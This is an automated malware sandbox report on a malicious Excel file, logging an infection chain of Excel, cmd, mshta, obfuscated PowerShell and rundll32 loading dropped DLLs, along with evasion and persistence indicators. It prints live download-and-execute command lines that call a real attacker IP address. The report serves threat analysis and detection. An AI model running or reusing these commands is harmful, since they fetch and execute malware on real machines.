Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_100125C0 _printf,FindResourceW,LoadResource,SizeofResource,VirtualAllocExNuma,VirtualAlloc,_malloc, 9_2_100125C0
Source: imedpub.com_10.xls ReversingLabs: Detection: 30%
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K......X.[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..".............y=.w......................lk....................................}..v............0................."............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w......................lk..... ..............................}..v............0...............X.[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..".............y=.w......................lk....................................}..v............0................."............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w......................lk....8.[.............................}..v....P.......0.................[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..".............y=.w....#.................lk....................................}..v....h.......0................."............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#.................lk......[.............................}..v............0...............h.[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....'...............Q.lk....E...............................}..v.....h......0...............8.[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....+...............Q.lk....E...............................}..v....0.......0...............8.[............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....+.......P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>. .......0...............8.......:....................... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\cmd.exe cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta http://91.240.118.168/zzx/ccv/fe.html
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",ZiXeiVCTiyE
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",lrHfvn
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\cmd.exe cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta http://91.240.118.168/zzx/ccv/fe.html Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",ZiXeiVCTiyE Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",DllRegisterServer Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",lrHfvn Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",DllRegisterServer Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDF37.tmp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002D5988 CreateToolhelp32Snapshot, 15_2_002D5988
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ;.PDB source: powershell.exe, 00000006.00000002.672109254.000000000027A000.00000004.00000020.00020000.00000000.sdmp
Source: 41B1.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\mshta.exe Code function: 4_3_02E600C0 push 8B4902A7h; iretd 4_3_02E600C6
Source: C:\Windows\System32\mshta.exe Code function: 4_3_02E608C9 push 8B4902A7h; iretd 4_3_02E608CE
Source: C:\Windows\System32\mshta.exe Code function: 4_3_02E600C0 push 8B4902A7h; iretd 4_3_02E600C6
Source: C:\Windows\System32\mshta.exe Code function: 4_3_02E608C9 push 8B4902A7h; iretd 4_3_02E608CE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10032B7D push ecx; ret 9_2_10032B90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10030DFF push ecx; ret 9_2_10030E12
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10032B7D push ecx; ret 11_2_10032B90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10030DFF push ecx; ret 11_2_10030E12
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F0C04 push ss; ret 12_2_003F0E40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003F0F14 push FFFFFFF8h; retf 12_2_003F0F23
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003D873 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer, 9_2_1003D873
PE file contains an invalid checksum
Source: ssd.dll.6.dr Static PE information: real checksum: 0x8df98 should be: 0x91e13

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\ssd.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox (copy) Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox (copy) Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh:Zone.Identifier read attributes | delete Jump to behavior
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_100134F0 IsIconic, 9_2_100134F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10018C9A IsIconic,GetWindowPlacement,GetWindowRect, 9_2_10018C9A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_100134F0 IsIconic, 11_2_100134F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10018C9A IsIconic,GetWindowPlacement,GetWindowRect, 11_2_10018C9A
Stores large binary data to the registry
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 2408 Thread sleep time: -360000s >= -30000s Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\rundll32.exe API coverage: 3.2 %
Source: C:\Windows\SysWOW64\rundll32.exe API coverage: 3.2 %
Contains functionality to detect virtual machines (SLDT)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_000007FF00250DFC sldt word ptr [eax] 6_2_000007FF00250DFC
Source: C:\Windows\SysWOW64\rundll32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: mshta.exe, 00000004.00000003.417270436.0000000003188000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: rundll32.exe, 0000000C.00000002.538321202.000000000046A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10030334 VirtualQuery,GetSystemInfo,__invoke_watson,GetModuleHandleA,GetProcAddress,VirtualAlloc,VirtualProtect, 9_2_10030334
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA, 9_2_10021854
